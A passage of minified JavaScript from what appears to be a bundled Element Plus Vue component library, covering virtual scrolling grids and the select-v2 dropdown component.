r>=p&&r<=f?r:r<p?p:f}},getStartIndexForOffset:(e,t,n)=>Ble(e,n,t),getStopIndexForStartIndex:(e,t,n,r)=>{const{height:o,total:i,layout:s,width:a}=e,l=Bd(s)?a:o,u=Eu(e,t,r),c=n+l;let f=u.offset+u.size,p=t;for(;p<i-1&&f<c;)p++,f+=Eu(e,p,r).size;return p},initCache({estimatedItemSize:e=py},t){const n={items:{},estimatedItemSize:e,lastVisitedIndex:-1};return n.clearCacheAfterIndex=(r,o=!0)=>{var i,s;n.lastVisitedIndex=Math.min(n.lastVisitedIndex,r-1),(i=t.exposed)==null||i.getItemStyleCache(-1),o&&((s=t.proxy)==null||s.$forceUpdate())},n},clearCache:!1,validateProps:({itemSize:e})=>{}}),Ule=({atXEndEdge:e,atXStartEdge:t,atYEndEdge:n,atYStartEdge:r},o)=>{let i=null,s=0,a=0;const l=(c,f)=>{const p=c<=0&&t.value||c>=0&&e.value,m=f<=0&&r.value||f>=0&&n.value;return p&&m};return{hasReachedEdge:l,onWheel:c=>{kl(i);let f=c.deltaX,p=c.deltaY;Math.abs(f)>Math.abs(p)?p=0:f=0,c.shiftKey&&p!==0&&(f=p,p=0),!(l(s,a)&&l(s+f,a+p))&&(s+=f,a+=p,c.preventDefault(),i=ma(()=>{o(s,a),s=0,a=0}))}}},Vx=({name:e,clearCache:t,getColumnPosition:n,getColumnStartIndexForOffset:r,getColumnStopIndexForStartIndex:o,getEstimatedTotalHeight:i,getEstimatedTotalWidth:s,getColumnOffset:a,getRowOffset:l,getRowPosition:u,getRowStartIndexForOffset:c,getRowStopIndexForStartIndex:f,initCache:p,injectToInstance:m,validateProps:g})=>ie({name:e??"ElVirtualList",props:gl,emits:[Zp,Tp],setup(v,{emit:I,expose:q,slots:M}){const E=Oe("vl");g(v);const x=bt(),R=D(p(v,x));m==null||m(x,R);const K=D(),W=D(),j=D(),H=D(null),P=D({isScrolling:!1,scrollLeft:nt(v.initScrollLeft)?v.initScrollLeft:0,scrollTop:nt(v.initScrollTop)?v.initScrollTop:0,updateRequested:!1,xAxisScrollDir:Su,yAxisScrollDir:Su}),U=Lx(),X=N(()=>Number.parseInt(`${v.height}`,10)),L=N(()=>Number.parseInt(`${v.width}`,10)),h=N(()=>{const{totalColumn:me,totalRow:Ee,columnCache:Le}=v,{isScrolling:Ae,xAxisScrollDir:be,scrollLeft:xe}=d(P);if(me===0||Ee===0)return[0,0,0,0];const Re=r(v,xe,d(R)),Ne=o(v,Re,xe,d(R)),Se=!Ae||be===Np?Math.max(1,Le):1,Ze=!Ae||be===Su?Math.max(1,Le):1;return[Math.max(0,Re-Se),Math.max(0,Math.min(me-1,Ne+Ze)),Re,Ne]}),b=N(()=>{const{totalColumn:me,totalRow:Ee,rowCache:Le}=v,{isScrolling:Ae,yAxisScrollDir:be,scrollTop:xe}=d(P);if(me===0||Ee===0)return[0,0,0,0];const Re=c(v,xe,d(R)),Ne=f(v,Re,xe,d(R)),Se=!Ae||be===Np?Math.max(1,Le):1,Ze=!Ae||be===Su?Math.max(1,Le):1;return[Math.max(0,Re-Se),Math.max(0,Math.min(Ee-1,Ne+Ze)),Re,Ne]}),w=N(()=>i(v,d(R))),A=N(()=>s(v,d(R))),C=N(()=>{var me;return[{position:"relative",overflow:"hidden",WebkitOverflowScrolling:"touch",willChange:"transform"},{direction:v.direction,height:nt(v.height)?`${v.height}px`:v.height,width:nt(v.width)?`${v.width}px`:v.width},(me=v.style)!=null?me:{}]}),S=N(()=>{const me=`${d(A)}px`;return{height:`${d(w)}px`,pointerEvents:d(P).isScrolling?"none":void 0,width:me}}),z=()=>{const{totalColumn:me,totalRow:Ee}=v;if(me>0&&Ee>0){const[Ne,Se,Ze,Q]=d(h),[J,V,G,O]=d(b);I(Zp,{columnCacheStart:Ne,columnCacheEnd:Se,rowCacheStart:J,rowCacheEnd:V,columnVisibleStart:Ze,columnVisibleEnd:Q,rowVisibleStart:G,rowVisibleEnd:O})}const{scrollLeft:Le,scrollTop:Ae,updateRequested:be,xAxisScrollDir:xe,yAxisScrollDir:Re}=d(P);I(Tp,{xAxisScrollDir:xe,scrollLeft:Le,yAxisScrollDir:Re,scrollTop:Ae,updateRequested:be})},k=me=>{const{clientHeight:Ee,clientWidth:Le,scrollHeight:Ae,scrollLeft:be,scrollTop:xe,scrollWidth:Re}=me.currentTarget,Ne=d(P);if(Ne.scrollTop===xe&&Ne.scrollLeft===be)return;let Se=be;if(f7(v.direction))switch(Wp()){case Yd:Se=-be;break;case kI:Se=Re-Le-be;break}P.value={...Ne,isScrolling:!0,scrollLeft:Se,scrollTop:Math.max(0,Math.min(xe,Ae-Ee)),updateRequested:!0,xAxisScrollDir:rl(Ne.scrollLeft,Se),yAxisScrollDir:rl(Ne.scrollTop,xe)},$e(()=>ce()),we(),z()},y=(me,Ee)=>{const Le=d(X),Ae=(w.value-Le)/Ee*me;le({scrollTop:Math.min(w.value-Le,Ae)})},T=(me,Ee)=>{const Le=d(L),Ae=(A.value-Le)/Ee*me;le({scrollLeft:Math.min(A.value-Le,Ae)})},{onWheel:te}=Ule({atXStartEdge:N(()=>P.value.scrollLeft<=0),atXEndEdge:N(()=>P.value.scrollLeft>=A.value-d(L)),atYStartEdge:N(()=>P.value.scrollTop<=0),atYEndEdge:N(()=>P.value.scrollTop>=w.value-d(X))},(me,Ee)=>{var Le,Ae,be,xe;(Ae=(Le=W.value)==null?void 0:Le.onMouseUp)==null||Ae.call(Le),(xe=(be=j.value)==null?void 0:be.onMouseUp)==null||xe.call(be);const Re=d(L),Ne=d(X);le({scrollLeft:Math.min(P.value.scrollLeft+me,A.value-Re),scrollTop:Math.min(P.value.scrollTop+Ee,w.value-Ne)})}),le=({scrollLeft:me=P.value.scrollLeft,scrollTop:Ee=P.value.scrollTop})=>{me=Math.max(me,0),Ee=Math.max(Ee,0);const Le=d(P);Ee===Le.scrollTop&&me===Le.scrollLeft||(P.value={...Le,xAxisScrollDir:rl(Le.scrollLeft,me),yAxisScrollDir:rl(Le.scrollTop,Ee),scrollLeft:me,scrollTop:Ee,updateRequested:!0},$e(()=>ce()),we(),z())},re=(me=0,Ee=0,Le=jo)=>{const Ae=d(P);Ee=Math.max(0,Math.min(Ee,v.totalColumn-1)),me=Math.max(0,Math.min(me,v.totalRow-1));const be=U3(E.namespace.value),xe=d(R),Re=i(v,xe),Ne=s(v,xe);le({scrollLeft:a(v,Ee,Le,Ae.scrollLeft,xe,Ne>v.width?be:0),scrollTop:l(v,me,Le,Ae.scrollTop,xe,Re>v.height?be:0)})},de=(me,Ee)=>{const{columnWidth:Le,direction:Ae,rowHeight:be}=v,xe=U.value(t&&Le,t&&be,t&&Ae),Re=`${me},${Ee}`;if(Gt(xe,Re))return xe[Re];{const[,Ne]=n(v,Ee,d(R)),Se=d(R),Ze=f7(Ae),[Q,J]=u(v,me,Se),[V]=n(v,Ee,Se);return xe[Re]={position:"absolute",left:Ze?void 0:`${Ne}px`,right:Ze?`${Ne}px`:void 0,top:`${J}px`,height:`${Q}px`,width:`${V}px`},xe[Re]}},ce=()=>{P.value.isScrolling=!1,$e(()=>{U.value(-1,null,null)})};mt(()=>{if(!Tt)return;const{initScrollLeft:me,initScrollTop:Ee}=v,Le=d(K);Le&&(nt(me)&&(Le.scrollLeft=me),nt(Ee)&&(Le.scrollTop=Ee)),z()});const we=()=>{const{direction:me}=v,{scrollLeft:Ee,scrollTop:Le,updateRequested:Ae}=d(P),be=d(K);if(Ae&&be){if(me===Nu)switch(Wp()){case Yd:{be.scrollLeft=-Ee;break}case CI:{be.scrollLeft=Ee;break}default:{const{clientWidth:xe,scrollWidth:Re}=be;be.scrollLeft=Re-xe-Ee;break}}else be.scrollLeft=Math.max(0,Ee);be.scrollTop=Math.max(0,Le)}},{resetAfterColumnIndex:Ie,resetAfterRowIndex:ge,resetAfter:Me}=x.proxy;q({windowRef:K,innerRef:H,getItemStyleCache:U,scrollTo:le,scrollToItem:re,states:P,resetAfterColumnIndex:Ie,resetAfterRowIndex:ge,resetAfter:Me});const se=()=>{const{scrollbarAlwaysOn:me,scrollbarStartGap:Ee,scrollbarEndGap:Le,totalColumn:Ae,totalRow:be}=v,xe=d(L),Re=d(X),Ne=d(A),Se=d(w),{scrollLeft:Ze,scrollTop:Q}=d(P),J=tt(Iy,{ref:W,alwaysOn:me,startGap:Ee,endGap:Le,class:E.e("horizontal"),clientSize:xe,layout:"horizontal",onScroll:T,ratio:xe*100/Ne,scrollFrom:Ze/(Ne-xe),total:be,visible:!0}),V=tt(Iy,{ref:j,alwaysOn:me,startGap:Ee,endGap:Le,class:E.e("vertical"),clientSize:Re,layout:"vertical",onScroll:y,ratio:Re*100/Se,scrollFrom:Q/(Se-Re),total:Ae,visible:!0});return{horizontalScrollbar:J,verticalScrollbar:V}},ue=()=>{var me;const[Ee,Le]=d(h),[Ae,be]=d(b),{data:xe,totalColumn:Re,totalRow:Ne,useIsScrolling:Se,itemKey:Ze}=v,Q=[];if(Ne>0&&Re>0)for(let J=Ae;J<=be;J++)for(let V=Ee;V<=Le;V++)Q.push((me=M.default)==null?void 0:me.call(M,{columnIndex:V,data:xe,key:Ze({columnIndex:V,data:xe,rowIndex:J}),isScrolling:Se?d(P).isScrolling:void 0,style:de(J,V),rowIndex:J}));return Q},ve=()=>{const me=Et(v.innerElement),Ee=ue();return[tt(me,{style:d(S),ref:H},st(me)?Ee:{default:()=>Ee})]};return()=>{const me=Et(v.containerElement),{horizontalScrollbar:Ee,verticalScrollbar:Le}=se(),Ae=ve();return tt("div",{key:0,class:E.e("wrapper"),role:v.role},[tt(me,{class:v.className,style:d(C),onScroll:k,onWheel:te,ref:K},st(me)?Ae:{default:()=>Ae}),Ee,Le])}}}),Fle=Vx({name:"ElFixedSizeGrid",getColumnPosition:({columnWidth:e},t)=>[e,t*e],getRowPosition:({rowHeight:e},t)=>[e,t*e],getEstimatedTotalHeight:({totalRow:e,rowHeight:t})=>t*e,getEstimatedTotalWidth:({totalColumn:e,columnWidth:t})=>t*e,getColumnOffset:({totalColumn:e,columnWidth:t,width:n},r,o,i,s,a)=>{n=Number(n);const l=Math.max(0,e*t-n),u=Math.min(l,r*t),c=Math.max(0,r*t-n+a+t);switch(o==="smart"&&(i>=c-n&&i<=u+n?o=jo:o=Ki),o){case Wd:return u;case Gd:return c;case Ki:{const f=Math.round(c+(u-c)/2);return f<Math.ceil(n/2)?0:f>l+Math.floor(n/2)?l:f}case jo:default:return i>=c&&i<=u?i:c>u||i<c?c:u}},getRowOffset:({rowHeight:e,height:t,totalRow:n},r,o,i,s,a)=>{t=Number(t);const l=Math.max(0,n*e-t),u=Math.min(l,r*e),c=Math.max(0,r*e-t+a+e);switch(o===Hm&&(i>=c-t&&i<=u+t?o=jo:o=Ki),o){case Wd:return u;case Gd:return c;case Ki:{const f=Math.round(c+(u-c)/2);return f<Math.ceil(t/2)?0:f>l+Math.floor(t/2)?l:f}case jo:default:return i>=c&&i<=u?i:c>u||i<c?c:u}},getColumnStartIndexForOffset:({columnWidth:e,totalColumn:t},n)=>Math.max(0,Math.min(t-1,Math.floor(n/e))),getColumnStopIndexForStartIndex:({columnWidth:e,totalColumn:t,width:n},r,o)=>{const i=r*e,s=Math.ceil((n+o-i)/e);return Math.max(0,Math.min(t-1,r+s-1))},getRowStartIndexForOffset:({rowHeight:e,totalRow:t},n)=>Math.max(0,Math.min(t-1,Math.floor(n/e))),getRowStopIndexForStartIndex:({rowHeight:e,totalRow:t,height:n},r,o)=>{const i=r*e,s=Math.ceil((n+o-i)/e);return Math.max(0,Math.min(t-1,r+s-1))},initCache:()=>{},clearCache:!0,validateProps:({columnWidth:e,rowHeight:t})=>{}}),{max:Gp,min:Ux,floor:Fx}=Math,Hle={column:"columnWidth",row:"rowHeight"},qy={column:"lastVisitedColumnIndex",row:"lastVisitedRowIndex"},ts=(e,t,n,r)=>{const[o,i,s]=[n[r],e[Hle[r]],n[qy[r]]];if(t>s){let a=0;if(s>=0){const l=o[s];a=l.offset+l.size}for(let l=s+1;l<=t;l++){const u=i(l);o[l]={offset:a,size:u},a+=u}n[qy[r]]=t}return o[t]},Hx=(e,t,n,r,o,i)=>{for(;n<=r;){const s=n+Fx((r-n)/2),a=ts(e,s,t,i).offset;if(a===o)return s;a<o?n=s+1:r=s-1}return Gp(0,n-1)},Ple=(e,t,n,r,o)=>{const i=o==="column"?e.totalColumn:e.totalRow;let s=1;for(;n<i&&ts(e,n,t,o).offset<r;)n+=s,s*=2;return Hx(e,t,Fx(n/2),Ux(n,i-1),r,o)},p7=(e,t,n,r)=>{const[o,i]=[t[r],t[qy[r]]];return(i>0?o[i].offset:0)>=n?Hx(e,t,0,i,n,r):Ple(e,t,Gp(0,i),n,r)},Px=({totalRow:e},{estimatedRowHeight:t,lastVisitedRowIndex:n,row:r})=>{let o=0;if(n>=e&&(n=e-1),n>=0){const a=r[n];o=a.offset+a.size}const s=(e-n-1)*t;return o+s},Dx=({totalColumn:e},{column:t,estimatedColumnWidth:n,lastVisitedColumnIndex:r})=>{let o=0;if(r>e&&(r=e-1),r>=0){const a=t[r];o=a.offset+a.size}const s=(e-r-1)*n;return o+s},Dle={column:Dx,row:Px},m7=(e,t,n,r,o,i,s)=>{const[a,l]=[i==="row"?e.height:e.width,Dle[i]],u=ts(e,t,o,i),c=l(e,o),f=Gp(0,Ux(c-a,u.offset)),p=Gp(0,u.offset-a+s+u.size);switch(n===Hm&&(r>=p-a&&r<=f+a?n=jo:n=Ki),n){case Wd:return f;case Gd:return p;case Ki:return Math.round(p+(f-p)/2);case jo:default:return r>=p&&r<=f?r:p>f||r<p?p:f}},Xle=Vx({name:"ElDynamicSizeGrid",getColumnPosition:(e,t,n)=>{const r=ts(e,t,n,"column");return[r.size,r.offset]},getRowPosition:(e,t,n)=>{const r=ts(e,t,n,"row");return[r.size,r.offset]},getColumnOffset:(e,t,n,r,o,i)=>m7(e,t,n,r,o,"column",i),getRowOffset:(e,t,n,r,o,i)=>m7(e,t,n,r,o,"row",i),getColumnStartIndexForOffset:(e,t,n)=>p7(e,n,t,"column"),getColumnStopIndexForStartIndex:(e,t,n,r)=>{const o=ts(e,t,r,"column"),i=n+e.width;let s=o.offset+o.size,a=t;for(;a<e.totalColumn-1&&s<i;)a++,s+=ts(e,t,r,"column").size;return a},getEstimatedTotalHeight:Px,getEstimatedTotalWidth:Dx,getRowStartIndexForOffset:(e,t,n)=>p7(e,n,t,"row"),getRowStopIndexForStartIndex:(e,t,n,r)=>{const{totalRow:o,height:i}=e,s=ts(e,t,r,"row"),a=n+i;let l=s.size+s.offset,u=t;for(;u<o-1&&l<a;)u++,l+=ts(e,u,r,"row").size;return u},injectToInstance:(e,t)=>{const n=({columnIndex:i,rowIndex:s},a)=>{var l,u;a=Vn(a)?!0:a,nt(i)&&(t.value.lastVisitedColumnIndex=Math.min(t.value.lastVisitedColumnIndex,i-1)),nt(s)&&(t.value.lastVisitedRowIndex=Math.min(t.value.lastVisitedRowIndex,s-1)),(l=e.exposed)==null||l.getItemStyleCache.value(-1,null,null),a&&((u=e.proxy)==null||u.$forceUpdate())},r=(i,s)=>{n({columnIndex:i},s)},o=(i,s)=>{n({rowIndex:i},s)};Object.assign(e.proxy,{resetAfterColumnIndex:r,resetAfterRowIndex:o,resetAfter:n})},initCache:({estimatedColumnWidth:e=py,estimatedRowHeight:t=py})=>({column:{},estimatedColumnWidth:e,estimatedRowHeight:t,lastVisitedColumnIndex:-1,lastVisitedRowIndex:-1,row:{}}),clearCache:!1,validateProps:({columnWidth:e,rowHeight:t})=>{}}),Qle=ie({props:{item:{type:Object,required:!0},style:Object,height:Number},setup(){return{ns:Oe("select")}}});function _le(e,t,n,r,o,i){return e.item.isTitle?(B(),_("div",{key:0,class:F(e.ns.be("group","title")),style:De([e.style,{lineHeight:`${e.height}px`}])},We(e.item.label),7)):(B(),_("div",{key:1,class:F(e.ns.be("group","split")),style:De(e.style)},[ne("span",{class:F(e.ns.be("group","split-dash")),style:De({top:`${e.height/2}px`})},null,6)],6))}var $le=Ye(Qle,[["render",_le],["__file","group-item.vue"]]);function eue(e,{emit:t}){return{hoverItem:()=>{e.disabled||t("hover",e.index)},selectOptionClick:()=>{e.disabled||t("select",e.item,e.index)}}}const Xx={label:"label",value:"value",disabled:"disabled",options:"options"};function Pm(e){const t=N(()=>({...Xx,...e.props}));return{aliasProps:t,getLabel:s=>Tn(s,t.value.label),getValue:s=>Tn(s,t.value.value),getDisabled:s=>Tn(s,t.value.disabled),getOptions:s=>Tn(s,t.value.options)}}const tue=Ge({allowCreate:Boolean,autocomplete:{type:he(String),default:"none"},automaticDropdown:Boolean,clearable:Boolean,clearIcon:{type:cn,default:qa},effect:{type:he(String),default:"light"},collapseTags:Boolean,collapseTagsTooltip:Boolean,maxCollapseTags:{type:Number,default:1},defaultFirstOption:Boolean,disabled:Boolean,estimatedOptionHeight:{type:Number,default:void 0},filterable:Boolean,filterMethod:Function,height:{type:Number,default:274},itemHeight:{type:Number,default:34},id:String,loading:Boolean,loadingText:String,modelValue:{type:he([Array,String,Number,Boolean,Object])},multiple:Boolean,multipleLimit:{type:Number,default:0},name:String,noDataText:String,noMatchText:String,remoteMethod:Function,reserveKeyword:{type:Boolean,default:!0},options:{type:he(Array),required:!0},placeholder:{type:String},teleported:yr.teleported,persistent:{type:Boolean,default:!0},popperClass:{type:String,default:""},popperOptions:{type:he(Object),default:()=>({})},remote:Boolean,size:fr,props:{type:he(Object),default:()=>Xx},valueKey:{type:String,default:"value"},scrollbarAlwaysOn:Boolean,validateEvent:{type:Boolean,default:!0},placement:{type:he(String),values:Fl,default:"bottom-start"},fallbackPlacements:{type:he(Array),default:["bottom-start","top-start","right","left"]},tagType:{...Vm.type,default:"info"},ariaLabel:{type:String,default:void 0}}),nue=Ge({data:Array,disabled:Boolean,hovering:Boolean,item:{type:he(Object),required:!0},index:Number,style:Object,selected:Boolean,created:Boolean}),xI=Symbol("ElSelectV2Injection"),rue=ie({props:nue,emits:["select","hover"],setup(e,{emit:t}){const n=Fe(xI),r=Oe("select"),{hoverItem:o,selectOptionClick:i}=eue(e,{emit:t}),{getLabel:s}=Pm(n.props);return{ns:r,hoverItem:o,selectOptionClick:i,getLabel:s}}}),oue=["aria-selected"];function iue(e,t,n,r,o,i){return B(),_("li",{"aria-selected":e.selected,style:De(e.style),class:F([e.ns.be("dropdown","item"),e.ns.is("selected",e.selected),e.ns.is("disabled",e.disabled),e.ns.is("created",e.created),e.ns.is("hovering",e.hovering)]),onMouseenter:t[0]||(t[0]=(...s)=>e.hoverItem&&e.hoverItem(...s)),onClick:t[1]||(t[1]=rt((...s)=>e.selectOptionClick&&e.selectOptionClick(...s),["stop"]))},[qe(e.$slots,"default",{item:e.item,index:e.index,disabled:e.disabled},()=>[ne("span",null,We(e.getLabel(e.item)),1)])],46,oue)}var sue=Ye(rue,[["render",iue],["__file","option-item.vue"]]),aue=ie({name:"ElSelectDropdown",props:{loading:Boolean,data:{type:Array,required:!0},hoveringIndex:Number,width:Number},setup(e,{slots:t,expose:n}){const r=Fe(xI),o=Oe("select"),{getLabel:i,getValue:s,getDisabled:a}=Pm(r.props),l=D([]),u=D(),c=N(()=>e.data.length);Ce(()=>c.value,()=>{var U,X;(X=(U=r.tooltipRef.value).updatePopper)==null||X.call(U)});const f=N(()=>Vn(r.props.estimatedOptionHeight)),p=N(()=>f.value?{itemSize:r.props.itemHeight}:{estimatedSize:r.props.estimatedOptionHeight,itemSize:U=>l.value[U]}),m=(U=[],X)=>{const{props:{valueKey:L}}=r;return At(X)?U&&U.some(h=>rn(Tn(h,L))===Tn(X,L)):U.includes(X)},g=(U,X)=>{if(At(X)){const{valueKey:L}=r.props;return Tn(U,L)===Tn(X,L)}else return U===X},v=(U,X)=>r.props.multiple?m(U,s(X)):g(U,s(X)),I=(U,X)=>{const{disabled:L,multiple:h,multipleLimit:b}=r.props;return L||!X&&(h?b>0&&U.length>=b:!1)},q=U=>e.hoveringIndex===U;n({listRef:u,isSized:f,isItemDisabled:I,isItemHovering:q,isItemSelected:v,scrollToItem:U=>{const X=u.value;X&&X.scrollToItem(U)},resetScrollTop:()=>{const U=u.value;U&&U.resetScrollTop()}});const x=U=>{const{index:X,data:L,style:h}=U,b=d(f),{itemSize:w,estimatedSize:A}=d(p),{modelValue:C}=r.props,{onSelect:S,onHover:z}=r,k=L[X];if(k.type==="Group")return ae($le,{item:k,style:h,height:b?w:A},null);const y=v(C,k),T=I(C,y),te=q(X);return ae(sue,xt(U,{selected:y,disabled:a(k)||T,created:!!k.created,hovering:te,item:k,onSelect:S,onHover:z}),{default:le=>{var re;return((re=t.default)==null?void 0:re.call(t,le))||ae("span",null,[i(k)])}})},{onKeyboardNavigate:R,onKeyboardSelect:K}=r,W=()=>{R("forward")},j=()=>{R("backward")},H=()=>{r.expanded=!1},P=U=>{const{code:X}=U,{tab:L,esc:h,down:b,up:w,enter:A}=_e;switch(X!==L&&(U.preventDefault(),U.stopPropagation()),X){case L:case h:{H();break}case b:{W();break}case w:{j();break}case A:{K();break}}};return()=>{var U,X,L,h;const{data:b,width:w}=e,{height:A,multiple:C,scrollbarAlwaysOn:S}=r.props,z=d(f)?Bx:Vle;return ae("div",{class:[o.b("dropdown"),o.is("multiple",C)],style:{width:`${w}px`}},[(U=t.header)==null?void 0:U.call(t),((X=t.loading)==null?void 0:X.call(t))||((L=t.empty)==null?void 0:L.call(t))||ae(z,xt({ref:u},d(p),{className:o.be("dropdown","list"),scrollbarAlwaysOn:S,data:b,height:A,width:w,total:b.length,onKeydown:P}),{default:k=>ae(x,k,null)}),(h=t.footer)==null?void 0:h.call(t)])}}});function lue(e,t){const{aliasProps:n,getLabel:r,getValue:o}=Pm(e),i=D(0),s=D(null),a=N(()=>e.allowCreate&&e.filterable);function l(m){const g=v=>o(v)===m;return e.options&&e.options.some(g)||t.createdOptions.some(g)}function u(m){a.value&&(e.multiple&&m.created?i.value++:s.value=m)}function c(m){if(a.value)if(m&&m.length>0){if(l(m))return;const g={[n.value.value]:m,[n.value.label]:m,created:!0,[n.value.disabled]:!1};t.createdOptions.length>=i.value?t.createdOptions[i.value]=g:t.createdOptions.push(g)}else if(e.multiple)t.createdOptions.length=i.value;else{const g=s.value;t.createdOptions.length=0,g&&g.created&&t.createdOptions.push(g)}}function f(m){if(!a.value||!m||!m.created||m.created&&e.reserveKeyword&&t.inputValue===r(m))return;const g=t.createdOptions.findIndex(v=>o(v)===o(m));~g&&(t.createdOptions.splice(g,1),i.value--)}function p(){a.value&&(t.createdOptions.length=0,i.value=0)}return{createNewOption:c,removeNewOption:f,selectNewOption:u,clearAllNewOption:p}}const uue=11,cue=(e,t)=>{const{t:n}=Vt(),r=Oe("select"),o=Oe("input"),{form:i,formItem:s}=eo(),{inputId:a}=Fi(e,{formItemContext:s}),{getLabel:l,getValue:u,getDisabled:c,getOptions:f}=Pm(e),p=$t({inputValue:"",cachedOptions:[],createdOptions:[],hoveringIndex:-1,inputHovering:!1,selectionWidth:0,calculatorWidth:0,collapseItemWidth:0,previousQuery:null,previousValue:void 0,selectedLabel:"",menuVisibleOnFocus:!1,isBeforeHide:!1}),m=D(-1),g=D(-1),v=D(null),I=D(null),q=D(null),M=D(null),E=D(null),x=D(null),R=D(null),K=D(null),W=D(null),j=D(null),H=D(null),{wrapperRef:P,isFocused:U,handleFocus:X,handleBlur:L}=Wm(E,{afterFocus(){e.automaticDropdown&&!w.value&&(w.value=!0,p.menuVisibleOnFocus=!0)},beforeBlur(Je){var ct,Mt;return((ct=q.value)==null?void 0:ct.isFocusInsideContent(Je))||((Mt=M.value)==null?void 0:Mt.isFocusInsideContent(Je))},afterBlur(){w.value=!1,p.menuVisibleOnFocus=!1}}),h=D([]),b=D([]),w=D(!1),A=N(()=>e.disabled||(i==null?void 0:i.disabled)),C=N(()=>{const Je=b.value.length*e.itemHeight;return Je>e.height?e.height:Je}),S=N(()=>h.value.some(Je=>u(Je)==="")),z=N(()=>e.multiple?Ve(e.modelValue)&&e.modelValue.length>0:!$n(e.modelValue)&&(e.modelValue!==""||S.value)),k=N(()=>e.clearable&&!A.value&&p.inputHovering&&z.value),y=N(()=>e.remote&&e.filterable?"":Ms),T=N(()=>y.value&&r.is("reverse",w.value)),te=N(()=>(s==null?void 0:s.validateState)||""),le=N(()=>G1[te.value]),re=N(()=>e.remote?300:0),de=N(()=>e.loading?e.loadingText||n("el.select.loading"):e.remote&&!p.inputValue&&h.value.length===0?!1:e.filterable&&p.inputValue&&h.value.length>0&&b.value.length===0?e.noMatchText||n("el.select.noMatch"):h.value.length===0?e.noDataText||n("el.select.noData"):null),ce=Je=>{const ct=Mt=>{if(e.filterable&&ot(e.filterMethod)||e.filterable&&e.remote&&ot(e.remoteMethod))return!0;const Bt=new RegExp(K1(Je),"i");return Je?Bt.test(l(Mt)||""):!0};return e.loading?[]:[...p.createdOptions,...e.options].reduce((Mt,Bt)=>{const vr=f(Bt);if(Ve(vr)){const qr=vr.filter(ct);qr.length>0&&Mt.push({label:l(Bt),isTitle:!0,type:"Group"},...qr,{type:"Group"})}else(e.remote||ct(Bt))&&Mt.push(Bt);return Mt},[])},we=()=>{h.value=ce(""),b.value=ce(p.inputValue)},Ie=N(()=>{const Je=new Map;return h.value.forEach((ct,Mt)=>{Je.set(gt(u(ct)),{option:ct,index:Mt})}),Je}),ge=N(()=>{const Je=new Map;return b.value.forEach((ct,Mt)=>{Je.set(gt(u(ct)),{option:ct,index:Mt})}),Je}),Me=N(()=>b.value.every(Je=>c(Je))),se=nr(),ue=N(()=>se.value==="small"?"small":"default"),ve=()=>{var Je;g.value=((Je=v.value)==null?void 0:Je.offsetWidth)||200},ke=()=>{if(!I.value)return 0;const Je=window.getComputedStyle(I.value);return Number.parseFloat(Je.gap||"6px")},me=N(()=>{const Je=ke();return{maxWidth:`${H.value&&e.maxCollapseTags===1?p.selectionWidth-p.collapseItemWidth-Je:p.selectionWidth}px`}}),Ee=N(()=>({maxWidth:`${p.selectionWidth}px`})),Le=N(()=>({width:`${Math.max(p.calculatorWidth,uue)}px`})),Ae=N(()=>Ve(e.modelValue)?e.modelValue.length===0&&!p.inputValue:e.filterable?!p.inputValue:!0),be=N(()=>{var Je;const ct=(Je=e.placeholder)!=null?Je:n("el.select.placeholder");return e.multiple||!z.value?ct:p.selectedLabel}),xe=N(()=>{var Je,ct;return(ct=(Je=q.value)==null?void 0:Je.popperRef)==null?void 0:ct.contentRef}),Re=N(()=>{if(e.multiple){const Je=e.modelValue.length;if(e.modelValue.length>0&&ge.value.has(e.modelValue[Je-1])){const{index:ct}=ge.value.get(e.modelValue[Je-1]);return ct}}else if(e.modelValue&&ge.value.has(e.modelValue)){const{index:Je}=ge.value.get(e.modelValue);return Je}return-1}),Ne=N({get(){return w.value&&de.value!==!1},set(Je){w.value=Je}}),Se=N(()=>e.multiple?e.collapseTags?p.cachedOptions.slice(0,e.maxCollapseTags):p.cachedOptions:[]),Ze=N(()=>e.multiple?e.collapseTags?p.cachedOptions.slice(e.maxCollapseTags):[]:[]),{createNewOption:Q,removeNewOption:J,selectNewOption:V,clearAllNewOption:G}=lue(e,p),{handleCompositionStart:O,handleCompositionUpdate:Z,handleCompositionEnd:Y}=Ox(Je=>Ur(Je)),$=()=>{A.value||(p.menuVisibleOnFocus?p.menuVisibleOnFocus=!1:w.value=!w.value)},oe=()=>{p.inputValue.length>0&&!w.value&&(w.value=!0),Q(p.inputValue),ze(p.inputValue)},ee=co(oe,re.value),ze=Je=>{p.previousQuery!==Je&&(p.previousQuery=Je,e.filterable&&ot(e.filterMethod)?e.filterMethod(Je):e.filterable&&e.remote&&ot(e.remoteMethod)&&e.remoteMethod(Je),e.defaultFirstOption&&(e.filterable||e.remote)&&b.value.length?$e(Te):$e(Zt))},Te=()=>{const Je=b.value.filter(Bt=>!Bt.disabled&&Bt.type!=="Group"),ct=Je.find(Bt=>Bt.created),Mt=Je[0];p.hoveringIndex=at(b.value,ct||Mt)},Xe=Je=>{Yr(e.modelValue,Je)||t(qn,Je)},wt=Je=>{t(St,Je),Xe(Je),p.previousValue=String(Je)},at=(Je=[],ct)=>{if(!At(ct))return Je.indexOf(ct);const Mt=e.valueKey;let Bt=-1;return Je.some((vr,qr)=>Tn(vr,Mt)===Tn(ct,Mt)?(Bt=qr,!0):!1),Bt},gt=Je=>At(Je)?Tn(Je,e.valueKey):Je,Ht=()=>{ve()},vt=()=>{p.selectionWidth=I.value.getBoundingClientRect().width},Rt=()=>{p.calculatorWidth=x.value.getBoundingClientRect().width},Pi=()=>{p.collapseItemWidth=H.value.getBoundingClientRect().width},Nt=()=>{var Je,ct;(ct=(Je=q.value)==null?void 0:Je.updatePopper)==null||ct.call(Je)},Ft=()=>{var Je,ct;(ct=(Je=M.value)==null?void 0:Je.updatePopper)==null||ct.call(Je)},yi=(Je,ct)=>{if(e.multiple){let Mt=e.modelValue.slice();const Bt=at(Mt,u(Je));Bt>-1?(Mt=[...Mt.slice(0,Bt),...Mt.slice(Bt+1)],p.cachedOptions.splice(Bt,1),J(Je)):(e.multipleLimit<=0||Mt.length<e.multipleLimit)&&(Mt=[...Mt,u(Je)],p.cachedOptions.push(Je),V(Je)),wt(Mt),Je.created&&ze(""),e.filterable&&!e.reserveKeyword&&(p.inputValue="")}else m.value=ct,p.selectedLabel=l(Je),wt(u(Je)),w.value=!1,V(Je),Je.created||G();Yt()},Pt=(Je,ct)=>{let Mt=e.modelValue.slice();const 